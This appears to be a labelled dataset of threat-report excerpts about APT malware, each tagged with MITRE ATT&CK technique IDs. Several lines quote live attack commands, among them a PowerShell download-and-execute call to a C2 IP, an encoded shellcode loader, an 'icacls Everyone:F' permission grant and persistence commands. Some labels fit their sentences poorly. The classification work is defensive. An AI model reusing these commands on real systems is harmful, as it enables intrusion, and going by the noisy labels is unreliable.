+Those assignments were not likely arbitrary, as this group had developed BlackEnergy2 for several years in a professional and organized style:  Config with a similar set of plugins for different architectures Here is the list of retrieved files and related functionality:    weap DDoS Attack (various types)   ps password stealer handling a variety of network protocols (SMTP, POP3, IMAP, HTTP, FTP, Telnet)   nm scans ports, stores banners   snif logs IP source and destination, TCP/UDP ports   hook main module: CnC communication, config parser, plugins loader   uper rewrites hook module with a new version and launches it     Weap, Snif, Nm plugin grammar mistakes and mis-spellings The developers’ coding style differed across the ‘Hook’ main module, the plugins, and the Windows main.dll	['T1046']
+For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it	['T1036']
+SHA256 Filename PowerShell Filename Variant   5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63 <redacted> Technical Services.exe Office365DCOMCheck.ps1 Bat2exe   d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520 tafahom.exe, Sales Modification.exe SystemDiskClean.ps1 .NET    Table 1	['T1036']
+Filename  vsrss.exe    File Size  446976 bytes    MD5  5c3456d5932544b779fe814133344fdb    SHA1  7ab750afb25457a81c27a98dc6dfd51c27e61b0e    Notes Delphi RAT file that beacons to ebeijingcn.live	['T1036']
+It named Meterpreter as a WAV file type, probably in the hope that this would not raise suspicions	['T1036']
+The Glimpse panel showing three compromised systems To interact with a specific agent, the actor selects the entry to open in the agent control panel	['T1543.001']
+Property list with persistence settings launchctl load /Library/LaunchDaemons/filename.plist > /dev/nul or launchctl load ~/Library/LaunchAgents/ filename.plist > /dev/nul will then command the operating system to start the dropped backdoor file at login	['T1543.001']
+From the 185.25.50[.]93 C2 IP, we discovered another hard-coded user agent being used by Zebrocy: Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation	['T1543.001']
+If the Trojan does not have root privileges to enable its automatic launch, it creates the “~/.config/autostart/dbus-inotifier.desktop” file with the following contents: [Desktop Entry] Type=Application Exec=/home/user/.config/dbus-notifier/dbus-inotifier Name[en_EN]=system service d-bus notifier Name=system service d-bus notifier Comment[en_EN]= Comment= “/home/user/” stands here for the environment variable HOME	['T1033']
+PDB strings containing the 'SyberSpace' username	['T1033']
+bat: A batch file to set up the service COMSysApp, for an x64 system bat: A batch file to set up the service COMSysApp, for an x86 system ini: A data file with Base64-encoded data for connecting to an FTP server	['T1059', 'T1064']
+So this method uses psexec itself to copy the payload over the network, overwrite earlier versions (if found), and run it without waiting for any response. They use batch files that leverage psexec , again, to push PowerShell loader scripts out to machines the network scanner finds on the internal network.	['T1059', 'T1064']
+Screenshots The data dump includes several screenshots of resources that the leaker alleged was related to the OilRig group	['T1113']
+Periodic low resolution screenshots	['T1113']
+LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window’s temp folder.	['T1056']
+DLL side loading has been used to maintain persistence on the compromised system	['T1574.002']
+As security controls have improved, DLL side loading has evolved to load a payload stored in a different directory or from a registry value	['T1574.002']
+With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently	['T1053', 'T1053.005']
+This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution	['T1053', 'T1053.005']
+The oldest known sample of the Delphi variant (SHA256: 5a02d4e5f6…) provided us a much stronger linkage between this Delphi Cannon and Cannon, as this sample collects system information and sends it to the C2 email address, which includes the path of the running process appended to the string Running place	['T1057']
+“win32_remote“,”win64_remote64“,”ollydbg“,”ProcessHacker“,”tcpview“,”autoruns“,”autorunsc“,”filemon“,”procmon“,”regmon“,”procexp“,”idaq“,”idaq64“,”ImmunityDebugger“,”Wireshark“,”dumpcap“,”HookExplorer“,”ImportREC“,”PETools“,”LordPE“,”dumpcap“,”SysInspector“,”proc_analyzer“,”sysAnalyzer“,”sniff_hit“,”windbg“,”joeboxcontrol“,”joeboxserver“  Blacklisted process names in the malware In some cases, it calculates the checksum of each running process name, and if it matches any hard-coded checksums, it causes a BSOD via the ntdll.dll “NtRaiseHardError” function	['T1057']
+One of the documents we examined with the filename Rocket attacks on Israel.docx (SHA256: 34bdb5b364..) contained inconsistent creation and last modified timestamps, with the last modified timestamp occurring before the creation timestamp	['T1070.006']
+Create a process by impersonating a logged-on user  Getting a user token using WTSQueryUserToken	['T1134']
+ARTIFACTS: Documents:     2781526f6b302da00661b9a6a625a5a6ecf4ffccafa61202e9b0e9b61b657867     c357396ca82fdcd6b6f46b748f2b6941051dbc81be5326cf9548e6e95507af7c     ffebcc4d2e851baecd89bf11103e3c9de86f428fdeaf0f8b33d9ea6f5ef56685     Domains:  true-deals[.]com; strikes-withlucky[.]com Email account in registration is: isvarawski@yahoo.com Attacker email account: adrian.1987clark@yahoo.com	['T1087']
+Message 2:    Headers Received: by mailcenter.support   Sender Council on Foreign Relations <webprint@fprii.net>   Subject The Four Traps China May Fall Into   Body Content and images included within the e-mail body were a direct copy of the following CFR article: https://www.cfr.org/blog/four-traps-china-may-fall   Notes Multiple hyperlinks within the e-mail body lead to a malicious RTF document located at the URL  hxxp://fprii.net/The_Four_Traps_for_China.doc	['T1087']
+Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network	['T1087']
+The shareDll32 module then enumerates and identifies systems connected on the same domain using WNetEnumResource and GetComputerNameW	['T1087']
+The VBScript has a SHA256 has of 649e3922ec53d5b195ed23aac08148faeb561f47e891b1e6ff60a2a9df4fea17, which calls two PowerShell commands to download and execute a payload and downloading and opening of a decoy document	['T1546.013', 'T1059.001']
+FIN6 used PowerShell to execute an encoded command	['T1546.013', 'T1059.001']
+the PowerShell is executed using reflectively loaded ReflectivePicker from the Empire project	['T1546.013', 'T1059.001']
+"In this context the main function is executed.""Console"": with the argument, a persistence is configured and the malware will be executed at the next reboot ( HKCU\Software\Microsoft\Windows\CurrentVersion\Run\runsample ).""Sample"": with this argument, the malware executes the console command followed by the help command.The information collected is performed using WMI queries:Additionally the malware lists the running process via the Microsoft Windows API"	['T1106']
+The overwritten instruction (displayed in Figure 1) is used to call the “WinExec” function from kernel32.dll, as depicted in the instruction at 00430c12, which calls the “WinExec” function	['T1106']
+Registry key “SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ” is queried to check the values ConsentPromptBehaviorAdmin and PromptOnSecureDesktop	['T1012']
+VMware DLL Check The Trojan checks to see if the files vmGuestLib.dll or vmbusres.dll exist in the system directory	['T1497.001', 'T1497']
+Ryuk is a ransomware that uses a combination of public and symmetric-key cryptography to encrypt files on the host computer.	['T1486']
+A new child process is created as “ tg ​ yt ​ ut ​ rc ​ ( ID) ​ .e ​ xe - i SM- tgytutrc ”, which is used to encrypt a single file on the drive	['T1486']
+In order to evade network level detection, the downloader uses steganography.	['T1001']
+send a POST response to the C&C server to extract the user’s login credentials. redirect users to fake phishing websites.	['T1185']
+icacls . /grant Everyone:F /T /C /Q	['T1222']
+COM + hijack in same sentence	['T1546.015']
+!Hello The Trojan introduces itself by sending the current username, if its an admin account or not, the computer name, the system UUID and the OS version	['T1033', 'T1082']
+19-2 A startup event for persistence The malware will run 2 .dlls from regsvr32 simultaneously, spawning userinit, ctfmon, and svchost processes	['T1218.010', 'T1547.001']
+AC,CNAME,MX,TXT,SRV,SOA Uses the regular expression ‘Address:\s+(\d+.\d+.\d+.\d+)’ and uses the decimal value in the first octet of that IPv4 address    Table 1 Breakdown of query types Once the system identifier is obtained, the payload gathers system specific information and sends it to the C2 server	['T1082', 'T1016']
+Advanced endpoint threat detection (AETD) can help detect activity associated with web shells and lateral movement, and network technologies that use sandboxing techniques to detonate binaries in network traffic can prevent malicious traffic from reaching internal systems	['T1505.003', 'T1021.002']
+Again, a shortcut file is written to the %TEMP% path with a name of ‘~Update.lnk’, which is in turn copied to the identified startup path with a filename of ‘Windows help.lnk’	['T1036', 'T1547.009']
+An obfuscated command is located inside the Target bar in the .lnk file properties.   Hidden command inside the .lnk file	['T1070.006', 'T1547.009']
+APIs from the following libraries are loaded at runtime:  Kernel32.dll Ws2_32/wsock32.dll Apvapi32.dll Oleaut32.dll Iphlp.dll Urlmon.dll  A dynamic API loaded by the malware	['T1055', 'T1574.001', 'T1574.002']
+A second scheduled task named “Scheduled Defrags” was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016	['T1053.005', 'T1036']
+helloworld – performs actions identical to the newer sample’s ‘Sub’ function helloworld1 – accepts command-line arguments, performs a UAC bypass helloworld2 – drops and compiles a mof filemof file   sqmAddTostream – expected to run initially by the malware, checks OS version and loads the malware with helloworld2	['T1573', 'T1027.001', 'T1016', 'T1048', 'T1550.002']
+Cache.dll code flow overview RC4 decrypt hardcoded c2 and urls resolve hidden function calls collect identifying victim system data encrypt collected data send stolen data to c2 and retrieve commands Cache.dll code details Structurally, “Cache.dll” is a fairly large backdoor at 425KB	['T1005', 'T1140', 'T1041']
+Cache.dll connectback urls: 209.200.83.43/ajax/links.php 209.200.83.43/ajax/api.php 209.200.83.43/ajax/index.php 209.200.83.43/ajax/error.php 209.200.83.43/ajax/profile.php 209.200.83.43/ajax/online.php 209.200.83.43/ajax/loader.php 209.200.83.43/ajax/search.php Observed user-agent string on the wire, but it’s dynamically generated based on the Windows system settings (retrieved using standard win32 api “ObtainUserAgentString”): “User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)” Communications with the CozyDuke C2 include key/value pairs passed as URL parameters	['T1106', 'T1087']
+"Command Functionality   A List logical drives   B List directory (Z1 = directory name to list)   C Read data from file (Z1 = filename to read)   D Write content to file (Z1 = filename to write, Z2 = content to write)   E Delete file in directory (Z1 = file)   F Generate custom web response ""->|value in Z1|<-""   G Write hex-encoded content to file (Z1 = filename to write, Z2 = hex encoded content to write)   H Call _Notice(Z1, Z2)   I Move/rename file or directory (Z1 = target, Z2 = new name)   J Create directory (Z1 = directory name)   K Timestomp file or directory (Z1 = target, Z2 = time/date string to stomp to)   L Download file from Internet (Z1 = URL, Z2 = filename to write to)   M Launch process (Z1 = process name, Z2 = arguments)   N Test connect to SQL database (Z1 = SqlConnect String)   O SQL Get database table scheme (Z1 = \r delimited parameters to command)   P SQL Get database table scheme with restrictions (Z1 = \r delimited parameters to command)   Q SQL execute SQL command (Z1 = \r delimited parameters to command)    Table 4"	['T1070.006', 'T1036', 'T1083', 'T1074', 'T1547.001']
+Commands   Description    0x97A168D9697D40DD  Download and validate file (XXHash comparison) from C2 server    0x7CF812296CCC68D5  Upload file to C2 server    0x652CB1CEFF1C0A00  Load PE file    0x27595F1F74B55278  Download, validate (XXHash comparison), execute file, and send output to C2 server    0xD290626C85FB1CE3  Format the current timestamp    0x409C7A89CFF0A727  Capture the desktop screenshot in PNG format and send it to C2    None of the above  The received buffer is executed via cmd.exe and the output is then sent to the C2 server    Table 5: Supported commands  Conclusion While APT10 consistently targets the same geolocation and industry, the malware they use is actively evolving	['T1113', 'T1071', 'T1041', 'T1132', 'T1105']
+"During our analysis, we observed one loader running “rr.exe” with the following arguments:open cmd.exe /c c:\\temp\\rr.exe SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run ""C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spp.exe"" iexploreThe “rr.exe” payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts"	['T1055.012', 'T1036']
+Executable-Signing Certificates Samples are usually signed with a fake certificate – we’ve seen two instances, one AMD and one Intel:  Configuration files: Some of the malware uses an encrypted configuration file which is stored on disk as “racss.dat”	['T1553.002', 'T1027']
+Features  TCP network stream (IPv4 & IPv6 support) Fast network serialization (Protocol Buffers) Compressed (QuickLZ) & Encrypted (TLS) communication Multi-Threaded UPnP Support No-Ip.com Support Visit Website (hidden & visible) Show Messagebox Task Manager File Manager Startup Manager Remote Desktop Remote Shell Download & Execute Upload & Execute System Information Computer Commands (Restart, Shutdown, Standby) Keylogger (Unicode Support) Reverse Proxy (SOCKS5) Password Recovery (Common Browsers and FTP Clients) Registry Editor  Supported runtimes and operating systems  .NET Framework 4.0 Client Profile or higher (Download) Supported operating systems (32- and 64-bit)  Windows XP SP3 Windows Server 2003 Windows Vista Windows Server 2008 Windows 7 Windows Server 2012 Windows 8/8.1 Windows 10    Compiling Open the project in Visual Studio 2017+ and restore the NuGET packages	['T1106', 'T1010', 'T1105', 'T1021.002']
+Figure 5 HTTP POST request to obtain an OAUTH access token Figure 5 shows that the Trojan then uses the following regular expression to obtain the access token from the HTTP response: \”access_token\”:(.*) Once authenticated with a valid access token, the Trojan will attempt to upload a file to the Google Drive account	['T1071', 'T1134']
+For example, one of these FIN7 LNK files contained the following properties:  Version: 0 NetBIOS name: andy-pc Droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 Birth droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca Birth droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268 MAC address: 08:00:27:3d:52:68 UUID timestamp: 03/21/2017 (12:12:28.500) [UTC] UUID sequence number: 2861  From this LNK file, we can see not only what the shortcut launched within the string data, but that the attacker likely generated this file on a VirtualBox system with hostname “andy-pc��� on March 21, 2017	['T1070.006', 'T1082', 'T1547.009']
+For more information related to HIDDEN COBRA activity, go to https://www.us-cert.gov/hiddencobra.If users or administrators detect the custom tools indicative of HIDDEN COBRA, these tools should be immediately flagged, reported to the DHS National Cybersecurity Communications and Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and given highest priority for enhanced mitigation	['T1518.001', 'T1564.001']
+Hardcoded domain “mumbai-m[.]site”  BONDUPDATER will attempt to resolve the resulting DGA domain and will take the following actions based on the IP address resolution:  Create a temporary file in %temp% location The file created will have the last two octets of the resolved IP addresses as its filename	['T1036', 'T1016']
+Here is the registry creation:The registry location where persistence is achieved is: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update	['T1112', 'T1547.001', 'T1012']
+If HWP.exe is found running on the system, the malware finds the currently open file in HWP by extracting the file path from the command-line argument passed to HWP.exe This word file (usually named *.hwp) is copied into the temporary file path  C:\DOCUME~1\<username>\LOCALS~1\Temp\2.hwp  hwp is an exact copy of the file loaded into HWP.exe The malware reads the contents of 2.hwp and finds an “MZ magic marker” in the file indicated by the string “JOYBERTM”   Checking for the MZ marker in the HWP file	['T1070.006', 'T1036', 'T1070.004', 'T1074']
+If the file does not exist, the Trojan will send the C2 server a message < File Not Found > by sending the following URL:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“< File Not Found >”)> If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class	['T1070.006', 'T1070.004', 'T1105']
+"In the example above, the “spp.exe” executable would be added to an auto-run registry key at: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore Many of the Fetch samples attempted to obfuscate their functionality by encrypting their embedded strings with AES using the same key “agkrhfpdbvhdhrkj”; however, the loader’s main goal involved running the following command:/c powershell -window hidden -EncodedCommand JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsA&lt;snip&gt;The base64 encoded command decodes to the following:$0o8e = '$f9B = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $f9B -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = &lt;shellcode REDACTED for brevity&gt;;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rJr=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($rJr.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rJr,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($0o8e));$DKn = ""-enc "";if([IntPtr]::Size -eq 8){$b32 = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";iex ""&amp; $b32 $DKn $e""}else{;iex ""&amp; powershell $DKn $e"";}The decoded command above builds a buffer that it uses to store shellcode and creates a thread to execute it"	['T1059.001']
+It was also able to use a component of multinational antivirus software Avast to gain information about the target system, as well as a process belonging to Brazilian information security company GAS Tecnologia to gather personal information	['T1518.001', 'T1082']
+Japanese Tech Company Taiwanese Government Organizations Organizations in the Asia-Pacific Region that are of Interest to China   The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors:  C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe   WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor	['T1518.001', 'T1005']
+LOWBALL Malware Analysis The spear phishing emails contained three attachments in total, each of which exploited an older vulnerability in Microsoft Office (CVE-2012-0158):  MD5  Filename  b9208a5b0504cb2283b1144fc455eaaa  使命公民運動 我們的異象.doc  ec19ed7cddf92984906325da59f75351  新聞稿及公佈.doc  6495b384748188188d09e9d5a0c401a4  (代發)[采��通知]港大校友關注組遞信行動.doc   In all three cases, the payload was the same:  MD5  Filename  d76261ba3b624933a6ebb5dd73758db4  time.exe   This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server	['T1036', 'T1598.002', 'T1102']
+Once activated, this variant of the KillDisk component looks for and terminates two non-standard processes with the following names:  komut.exe sec_service.exe  We didn’t manage to find any information regarding the name of the first process (komut.exe)	['T1562.001', 'T1036']
+Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system	['T1053.005', 'T1064']
+Original File Name Translation Decoy Location Most Likely Target   1060315 本部發言參考.doc 1060315 Headquarters Speech Reference.doc Defense Industry Development Strategy TW Defense   轉給苦逼的網管兄弟.doc Passing to cool fellow network administrators.doc Network administration jokes TW High Tech Telecommunication     2.SC OAM Firewall Policy_0306.xls 2.SC OAM Firewall Policy_0306.xls Network topology diagrams TW High Tech Telecommunication       Figure 3 Decoy document discussing Taiwan’s defense industry development strategy  Figure 4 Network firewall configuration description for a telecommunication company in Taiwan    Figure 5 Decoy document providing network topology information   It is worth noting that in the attack that made use of the decoy document in Figure 4, the attacker also included related firewall logs and appears to have originated from a compromised an IT service vendor	['T1562.001', 'T1021.002']
+powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\WindowsDefenderService.ini);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join(”,$d));  PowerShell one-liner Encoded text file Execution flow:  Case 2: VBS and text files dropped by the macro The VBS file decodes itself and calls mshta.exe, passing on one line of VBScript code to it, which in turn spawns a PowerShell one-liner which finally consumes the text file (usually Base64-encoded text)	['T1140', 'T1036', 'T1059.001']
+Previously the fake website linked to the following documents in a third fake Oxford domain, oxford[.]in: http://oxford[.]in/downloads/ls1.doc http://oxford[.]in/downloads/ls2.doc http://oxford[.]in/downloads/ls3.doc http://oxford[.]in/downloads/ls4.do The documents were unavailable during our research, and their content is unknown to us	['T1071', 'T1105']
+Regardless of the file extensions, the files dropped by the macro are EITHER INF, SCT and text files OR VBS and text files	['T1070.004', 'T1083']
+Second stage shellcode The second stage shellcode will then perform the following actions:  Download the final payload (FinSpy) from hxxp://89.45.67[.]107/rss/mo.exe Download a lure document to display to the victim from the same IP Execute the payload and display the lure document  Payload – mo.exe As mentioned earlier, the “mo.exe” payload (MD5: 4a49135d2ecc07085a8b7c5925a36c0a) is the newest version of Gamma International’s FinSpy malware, typically sold to nation states and other law enforcement agencies to use in lawful surveillance operations.  This newer variant has made it especially difficult for researchers to analyze the malware due to many added anti-analysis techniques, to include a custom packer and virtual machine to execute code	['T1055.012', 'T1064', 'T1105']
+Several techniques are employed for executing the PowerShell code: If command starts with “excel”, then it leverages DDEInitiate Method of Excel.Appilcation to execute the code:  If the command starts with “outlook”, then it leverages Outlook.Application and MSHTA to execute the code:  If the command starts with “risk”, then execution is performed through DCOM object:      File upload functionality	['T1106', 'T1140', 'T1059']
+SHUTDOWN Shuts down the system using cmd /s /t 0   RESTART Reboots the system using cmd /r /t 0   PROCANDSOFT Lists all active processes and all installed software and uploads the results to the C2 server using a POST command at the “/log.php”	['T1071', 'T1059']
+The Check Point IPS blade provides protections against these threats:  Command Injection Over HTTP NoneCMS. ThinkPHP Remote Code Execution (CVE-2018-20062). Oracle WebLogic WLS Security Component Remote Code Execution (CVE-2017-10271). Oracle WebLogic WLS Server Component Arbitrary File Upload (CVE-2018-2894). Hadoop YARN ResourceManager Remote Command Execution. Apache ActiveMQ Fileserver Multi Methods Directory Traversal (CVE-2016-3088). JBoss Seam 2 Framework Remote Code Execution (CVE-2010-1871). JBoss Enterprise Application Platform Invoker Servlets Remote Code Execution (CVE-2012-0874). Red Hat JBoss AS Remote Code Execution.	['T1106', 'T1140', 'T1059', 'T1064', 'T1203', 'T1105', 'T1569.002']
+The hook main module contained encrypted strings and handled all the function calls and strings as the references in a large structure	['T1140', 'T1027']
+The log files mentioned previously are stored in the same directory as NavRAT on the victim machine, again making it easy for us to find and analyse the additional log files	['T1083', 'T1074', 'T1105']
+"The macro carries out this first technique by running the following command:powershell.exe -w hidden -noni -nop -c ""iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')""The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute: GET /eiloShaegae1 HTTP/1.1 Host: 139.59.46[.]154:3485 Connection: Keep-Alive The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code"	['T1071', 'T1008', 'T1059.001']
+The main module of the Trojan can execute the following commands:  CommandDescription 0x1FSet the dwell time value for the standby mode 0x29Activate the controllers 0x2ASet new configuration data and update the list of command and control servers 0x32Set the dwell time value for the active mode 0x33Set up the plug-in 0x33Save the dwell time values into the database 0x34Activate the plug-ins 0x35Add configuration data 0x36Delete the specified configuration data  The Remote Shell Module can execute the following commands:  CommandDescription 0x66Exit 0x65Open a remote Shell 0x68Verify that the Shell in running 0x67Execute a command  The module, which interacts with the file system, can execute the following commands:  cmdDescription 0x65Find the file(s) 0x66Read the file(s) 0x67Save the file 0x68Remove the file(s) 0x69Run the file(s)  A report on the operations’ execution by this module is displayed as the HTML code	['T1070.006', 'T1140', 'T1059']
+These samples communicated with the following hosts via FTP for C2 communication:  ftp.byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com  Beginning in June 2018, we observed the OceanSalt malware family being dropped by CARROTBAT	['T1071', 'T1048']
+The subscription was configured to run a PowerShell command that read, decrypted, and executed the backdoor code directly from the new WMI property	['T1140', 'T1059.001']
+The threat actor can now combine the information and brute force their way throughout the network (through NetBIOS) using a list of usernames and passwords as well as a range of IP addresses	['T1016', 'T1110']
+The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data:   String of hexadecimal values Character replacement 000000 z 00000 x 0000 y 000 g 00 w 01 t   The Trojan then writes 1500 bytes of the hexadecimal formatted data, one per line to a temporary file in the SpecialFolder.CommonApplicationData folder named as:<day><hour><second><millisecond>.tmp The Trojan will then read each line from this temporary file and send them to the C2 server by issuing requests to a URL structured as follows:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZ<hex(1500 characters of hexadecimal formatted file contents)> Once all of the lines of hexadecimal formatted data in the temporary file are sent to the C2 server, the Trojan will send a request to the C2 server to notify the data has been successfully transmitted via a URL structured as follows:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZFinish  Overlaps with Previous OilRig Group Attacks Since May 2016, we have continued to monitor and uncover various attacks and tools associated with the OilRig group	['T1573', 'T1070.004', 'T1074', 'T1041', 'T1048', 'T1486']
+This IP has hosted other domains used by APT3 in past campaigns:  DOMAIN  FIRST SEEN  LAST SEEN  IP ADDRESS  join.playboysplus[.]com  2014-11-21  2014-11-21  104.151.248.173  walterclean[.]com  2014-11-18  2014-11-20  104.151.248.173  www.walterclean[.]com  2014-11-18  2014-11-20  104.151.248.173   As we discussed in our previous blog detailing previous APT3 activity, the walterclean[.]com served as a Plugx/Kaba command and control server	['T1016', 'T1068']
+We include a list of observed hardcoded ip C2 addresses here, along with the address owner and geophysical location of the host:    C2 IP address Owner Country   184.22.205.194 hostnoc.net US   5.79.80.166 Leaseweb NL   46.165.222.28 Leaseweb NL   95.211.122.36 Leaseweb NL   46.165.222.101 Leaseweb NL   46.165.222.6 Leaseweb NL   89.149.223.205 Leaseweb NL   85.17.94.134 Leaseweb NL   46.4.28.218 Hetzner DE   78.46.40.239 Hetzner DE   95.143.193.182 Serverconnect SE   188.227.176.74 Redstation GB   93.170.127.100 Nadym RU   37.220.34.56 Yisp NL   194.28.172.58 Besthosting.ua UA   124.217.253.10 PIRADIUS MY   84.19.161.123 Keyweb DE   109.236.88.12 worldstream.nl NL   212.124.110.62 digitalone.com US   5.61.38.31 3nt.com DE   5.255.87.39 serverius.com NL    It’s interesting that one of these servers is a Tor exit node	['T1016', 'T1008']
+"When HawkEye is executed, in line 34, byte[] byte_ = gclass.method_0()[""0"", GClass30.GEnum3.RCDATA].Byte_0;it reads the encrypted configuration from the RCDATA resource and in line 33,byte[] byte_2 = GClass29.smethod_12(byte_, GClass12.string_0);and then decrypts this data with the Rijndael algorithm you can see below in the RijndaelManaged function to initialize the HawkEye configuration settings.The decrypted configuration shows us the account used for exfiltration:The main loop of HawkEye has the following functions:This shows the rich feature set of HawkEye"	['T1562.001', 'T1140']